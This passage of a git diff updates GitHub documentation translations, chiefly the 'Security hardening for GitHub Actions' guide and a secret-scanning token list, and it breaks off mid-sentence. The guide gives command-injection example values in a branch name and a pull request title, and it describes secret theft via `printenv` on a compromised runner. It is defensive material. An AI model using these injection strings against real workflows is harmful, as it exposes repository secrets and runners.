{% endnote %} {% endif %} @@ -10,7 +13,7 @@ {% note %} -**Nota:** El {% data variables.product.prodname_secret_scanning_caps %} estaba en beta en {% data variables.product.prodname_ghe_server %} 3.0. Para encontrar el lanzamiento del {% data variables.product.prodname_secret_scanning %} que está generalmente disponible, mejora al último lanzamiento de {% data variables.product.prodname_ghe_server %}. +**Nota:** El {% data variables.product.prodname_secret_scanning_caps %} estaba en beta en {% data variables.product.prodname_ghe_server %} 3.0. Para encontrar el lanzamiento del {% data variables.product.prodname_secret_scanning %} que está generalmente disponible, mejora al último lanzamiento de {% data variables.product.prodname_ghe_server %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endnote %} diff --git a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md index a7cd6cb425..2302ab0642 100644 --- a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -81,6 +81,8 @@ Google | Google OAuth Access Token | google_oauth_access_token{% endif %} Google | ID de Cliente OAuth de Google | google_oauth_client_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Secreto de Cliente OAuth de Google | google_oauth_client_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Grafana | Llave de la API de Grafana | grafana_api_key{% endif %} Hashicorp Terraform | API del Token de Terraform Cloud / Enterprise | terraform_api_token Hubspot | Llave de la API de Hubspot | hubspot_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -114,7 +116,11 @@ New Relic | Llave de la API de REST de New Relic | new_relic_rest_api_key{% endi {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | Llave de Consulta de Perspectivas de New Relic | new_relic_insights_query_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} -New Relic | Llave de Licencia de New Relic | new_relic_license_key{% endif %} npm | Token de Acceso a npm | npm_access_token NuGet | Llave de la API de NuGet | nuget_api_key +New Relic | Llave de Licencia de New Relic | new_relic_license_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion Integration Token | notion_integration_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion OAuth Client Secret | notion_oauth_client_secret{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Onfido | Token de la API de Onfido Live | onfido_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -146,6 +152,8 @@ Shippo | Token de la API de Shippo Live | shippo_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Shippo | Token de la API de Pruebas de Shippo | shippo_test_api_token{% endif %} Shopify | Secreto Compartido de la App de Shopify | shopify_app_shared_secret Shopify | Token de Acceso a Shopify | shopify_access_token Shopify | Token de Acceso a la App Personalizada de Shopify | shopify_custom_app_access_token Shopify | Contraseña de la App Privada de Shopify | shopify_private_app_password Slack | Token de la API de Slack | slack_api_token Slack | URL del Webhook Entrante de Slack | slack_incoming_webhook_url Slack | URL del Webhook del Flujo de Trabajo de Slack | slack_workflow_webhook_url {%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Access Token | square_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Square | Secreto de la Aplicación de Producción de Square | square_production_application_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Square | Secreto de la Aplicación de Pruebas de Square | square_sandbox_application_secret{% endif %} SSLMate | Llave de la API de SSLMate | sslmate_api_key SSLMate | Secreto de Clúster de SSLMate | sslmate_cluster_secret Stripe | Llave de la API de Stripe | stripe_api_key diff --git a/translations/es-ES/data/variables/enterprise.yml b/translations/es-ES/data/variables/enterprise.yml index 1b338f51c1..2757a36221 100644 --- a/translations/es-ES/data/variables/enterprise.yml +++ b/translations/es-ES/data/variables/enterprise.yml @@ -1,2 +1,4 @@ --- management_console: 'Consola de administración' +#https://support.github.com/enterprise/server-upgrade +upgrade_assistant: 'Upgrade assistant' diff --git a/translations/es-ES/data/variables/gists.yml b/translations/es-ES/data/variables/gists.yml index 5a1cbb2719..2973c08309 100644 --- a/translations/es-ES/data/variables/gists.yml +++ b/translations/es-ES/data/variables/gists.yml @@ -1,7 +1,7 @@ --- gist_homepage: >- - {% ifversion fpt or ghec %}[página principal del gist](https://gist.github.com/){% elsif ghae %}página principal del gist, `http(s)://gist.[hostname)`,{% else %}página principal del gist, `http(s)://[hostname]/gist` o `http(s)://gist.[hostname]` si se habilitan los subdominios{% endif %} + {% ifversion fpt or ghec %}[gist home page](https://gist.github.com/){% elsif ghae %}gist home page, `http(s)://gist.[hostname]`{% else %}gist home page, `http(s)://[hostname]/gist` or `http(s)://gist.[hostname]` if subdomains are enabled{% endif %} gist_search_url: >- - {% ifversion fpt or ghec %}[Búsqueda de Gists](https://gist.github.com/search){% elsif ghae %}Búsqueda de Gists, `http(s)://gist.[hostname]/search`,{% else %}Búsqueda de Gists, `http(s)://[hostname]/gist/search` o `http(s)://gist.[hostname]/search` si se habilitaron los subdominios{% endif %} + {% ifversion fpt or ghec %}[Gist Search](https://gist.github.com/search){% elsif ghae %}Gist Search, `http(s)://gist.[hostname]/search`{% else %}Gist Search, `http(s)://[hostname]/gist/search` or `http(s)://gist.[hostname]/search` if subdomains are enabled{% endif %} discover_url: >- - {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Descubre, `http(s)://gist.[hostname]/discover`,{% else %}Descubre, `http(s)://[hostname]/gist/discover` o `http(s)://gist.[hostname]/discover` si se habilitaron los subdominios{% endif %} + {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Discover, `http(s)://gist.[hostname]/discover`{% else %}Discover, `http(s)://[hostname]/gist/discover` or `http(s)://gist.[hostname]/discover` if subdomains are enabled{% endif %} diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md index 0717f2f94c..9171475df9 100644 --- a/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md +++ b/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md @@ -1,10 +1,10 @@ --- -title: ワークフロー実行をスキップする +title: Skipping workflow runs intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message. versions: fpt: '*' ghes: '*' - ghae: ghae-next + ghae: next ghec: '*' shortTitle: Skip workflow runs --- @@ -21,14 +21,14 @@ Workflows that would otherwise be triggered using `on: push` or `on: pull_reques * `[skip actions]` * `[actions skip]` -または、コミットメッセージを 2 行の空行で終了し、その後に `skip-checks: true` または `skip-checks:true` のいずれかを続けることもできます。 +Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`. -最初にリポジトリがパスするための特定のチェックを受けるように設定されている場合、プルリクエストをマージすることはできません。 プルリクエストをマージできるようにするには、コミットメッセージのスキップ命令なしでプルリクエストに新しいコミットをプッシュできます。 +You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message. {% note %} -**注釈:** スキップ命令は、`push` および `pull_request` イベントにのみ適用されます。 たとえば、コミットメッセージに `[skip ci]` を追加しても、`on: pull_request_target` でトリガーされたワークフロー実行は停止されません。 +**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running. {% endnote %} -Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. 詳しい情報については、「[ワークフローの無効化と有効化](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)」を参照してください。 +Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md index 6bfd52cf60..1b2f2dc9e6 100644 --- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md +++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md @@ -1,6 +1,6 @@ --- -title: ジョブの実行時間を表示する -intro: ジョブの実行時間 (ジョブの発生した支払対象の分を含む) を表示できます。 +title: Viewing job execution time +intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.' redirect_from: - /actions/managing-workflow-runs/viewing-job-execution-time versions: @@ -13,16 +13,17 @@ shortTitle: View job execution time {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -請求可能なジョブ実行時間(分)は、{% data variables.product.prodname_dotcom %} ホストランナーを使用するプライベートリポジトリで実行されるジョブに対してのみ表示されます。 パブリックリポジトリで {% data variables.product.prodname_actions %} を使用する場合、またはセルフホストランナーで実行されるジョブの場合、請求対象となる実行時間はありません。 +Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. ジョブの概要の下で、ジョブの実行時間を表示できます。 請求可能なジョブの実行時間に関する詳細を表示するには、**Billable time(請求可能な時間)**の下の時間をクリックしてください。 ![実行および支払請求可能な時間の詳細リンク](/assets/images/help/repository/view-run-billable-time.png) +1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**. + ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) {% note %} - - **ノート:** 表示される請求可能な時間には、丸めや分数の乗数は含まれません。 四捨五入や分乗数を含む {% data variables.product.prodname_actions %} の使用状況の合計を表示するには、「[{% data variables.product.prodname_actions %} の使用状況を表示する](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)」を参照してください。 - + + **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)." + {% endnote %} diff --git a/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md index 4a02c2bd2b..52ed166394 100644 --- a/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: GitHub Actions のセキュリティ強化 -shortTitle: セキュリティ強化 -intro: '{% data variables.product.prodname_actions %} の機能を使用するための適切なセキュリティプラクティス。' +title: Security hardening for GitHub Actions +shortTitle: Security hardening +intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' redirect_from: - /actions/getting-started-with-github-actions/security-hardening-for-github-actions - /actions/learn-github-actions/security-hardening-for-github-actions @@ -20,49 +20,49 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 概要 +## Overview -このガイドでは、特定の {% data variables.product.prodname_actions %} の機能のセキュリティ強化を設定する方法について説明します。 {% data variables.product.prodname_actions %} の概念について理解を深めるには、「[GitHub Actions の中核的概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)」を参照してください。 +This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)." -## シークレットを使用する +## Using secrets -機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してください。 [シークレット](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)は、Organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}、リポジトリ、あるいは環境{% else %}あるいはリポジトリ{% endif %}のレベルで設定でき、機密情報を{% data variables.product.product_name %}に保存できるようになります。 +Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}. -シークレットは [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) を使用するため、{% data variables.product.product_name %} に到達する前に暗号化されます。 これは、[UI を使用](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository)して、または [REST API](/rest/reference/actions#secrets) を介してシークレットが送信されたときに発生します。 このクライアント側の暗号化により、{% data variables.product.product_name %} のインフラストラクチャ内での偶発的なログ(例外ログやリクエストログなど)に関連するリスクを最小限に抑えることができます。 シークレットがアップロードされると、{% data variables.product.product_name %} はそれを復号化して、ワークフローランタイムに挿入できるようになります。 +Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime. -偶発的な開示を防ぐために、{% data variables.product.product_name %} は、実行ログに表示されるシークレットを編集しようとするメカニズムを使用しています。 この編集は、設定されたシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。 ただし、シークレットの値を変換する方法は複数あるため、この編集は保証されません。 そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事項は次のとおりです。 +To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: -- **構造化データをシークレットとして使用しない** - - 構造化データは、ログ内のシークレットの編集失敗の原因となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。 たとえば、JSON、XML、または YAML(または同様)の Blob を使用してシークレット値をカプセル化しないでください。シークレットが適切に編集される可能性が大幅に低下するためです。 代わりに、機密値ごとに個別のシークレットを作成します。 -- **ワークフロー内で使用されるすべてのシークレットを登録する** - - シークレットを使用してワークフロー内で別の機密値を生成する場合は、生成された値を正式に[シークレットとして登録](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)して、ログに表示されたときに編集されるようにする必要があります。 たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする場合は、その JWT をシークレットとして登録してください。そうしない場合、ログ出力に入力されても編集されません。 - - シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。 シークレットが何らかの方法で変換された場合(Base64 や URL エンコードなど)、新しい値もシークレットとして登録してください。 -- **シークレットの処理方法を監査する** - - シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。 これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。 たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。 - - 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。 呼び出しているコマンドまたはツールがどのようにしてエラーを `STDOUT` および `STDERR` に送信するかは必ずしも明らかではなく、シークレットはその後エラーログに記録される可能性があります。 そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。 -- **スコープが最小限の認証情報を使用する** - - ワークフロー内で使用されている認証情報に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセスを持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを持っていることに注意してください。 {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - - Actions は、`github.token` コンテキストからアクセスすることで `GITHUB_TOKEN` を使用できます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#github-context)」を参照してください。 したがって、`GITHUB_TOKEN` に最低限必要な権限が付与されていることを確認する必要があります。 リポジトリのコンテンツに対してのみ読み取りアクセスを行うように `GITHUB_TOKEN` のデフォルトのアクセス許可を設定することをお勧めします。 その後、必要に応じて、ワークフローファイル内の個々のジョブの権限を増やすことができます。 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。 {% endif %} -- **登録されたシークレットの監査とローテーション** - - 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。 不要になったものは削除してください。 - - シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。 +- **Never use structured data as a secret** + - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. +- **Register all secrets used within workflows** + - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. + - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. +- **Audit how secrets are handled** + - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. + - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. +- **Use credentials that are minimally scoped** + - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %} +- **Audit and rotate registered secrets** + - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. + - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -- **シークレットへのアクセスのレビューを必須とすることを検討する** - - 必須のレビュー担当者を使って環境のシークレットを保護できます。 レビュー担当者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。 For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." +- **Consider requiring review for access to secrets** + - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %} ## Using `CODEOWNERS` to monitor changes You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. -詳細は「[コードオーナーについて](/github/creating-cloning-and-archiving-repositories/about-code-owners)」を参照してください。 +For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." ## Understanding the risk of script injections When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. - Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. - + Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. @@ -88,7 +88,7 @@ A script injection attack can occur directly within a workflow's inline script. ``` {% endraw %} -This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. +This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: @@ -144,7 +144,7 @@ With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{ ### Using CodeQL to analyze your code -To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. 詳しい情報については、「[コードスキャニングについて](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)」を参照してください。 +To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed). @@ -163,47 +163,47 @@ To help mitigate the risk of an exposed token, consider restricting the assigned {% endif %} -## サードパーティアクションを使用する +## Using third-party actions -ワークフロー内の個々のジョブは、他のジョブと相互作用(および侵害)する場合があります。 たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。 +The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. -これは、ワークフロー内の 1 つのアクションへの侵害が非常に重要になる可能性があるということです。その侵害されたアクションがリポジトリに設定されたすべてのシークレットにアクセスし、`GITHUB_TOKEN` を使用してリポジトリに書き込むことができるためです。 したがって、{% data variables.product.prodname_dotcom %} のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。 For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." +This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." -次のような適切な方法に従うことで、このリスクを軽減することができます。 +You can help mitigate this risk by following these good practices: -* **アクションを完全なコミット SHA にピン止めする** +* **Pin actions to a full length commit SHA** - 現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。 特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追加するリスクを軽減できます。 + Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% ifversion ghes < 3.1 %} {% warning %} - **警告:** コミット SHA の短いバージョンは安全ではないため、アクションの Git リファレンスの指定には使用しないでください。 リポジトリネットワークの仕組みにより、どのユーザもリポジトリをフォークし、短い SHA と衝突するよう細工されたコミットをプッシュできます。 これにより、その SHA の後続のクローンがあいまいなコミットになるため失敗します。 その結果、短縮された SHA を使用するワークフローはすぐに失敗します。 + **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail. {% endwarning %} {% endif %} -* **アクションのソースコードを監査する** +* **Audit the source code of the action** - アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。 たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。 + Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. -* **作成者を信頼できる場合に限り、アクションをタグにピン止めする** +* **Pin actions to a tag only if you trust the creator** - コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。 タグを指定する場合は、アクションの作成者が信頼できることを確認してください。 {% data variables.product.prodname_marketplace %} の「Verified creator」バッジは便利な判断材料で、 {% data variables.product.prodname_dotcom %} で身元が確認されたチームによって作成されたアクションであることを示しています。 作者が信頼できる場合でも、このアプローチにはリスクがあることに注意してください。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。 + Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## Reusing third-party workflows -The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} ## Potential impact of a compromised runner -These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. +These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. ### Accessing secrets -Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). +Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). - If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. - If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. @@ -231,54 +231,54 @@ It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data vari The attacker server can use the {% ifversion fpt or ghec 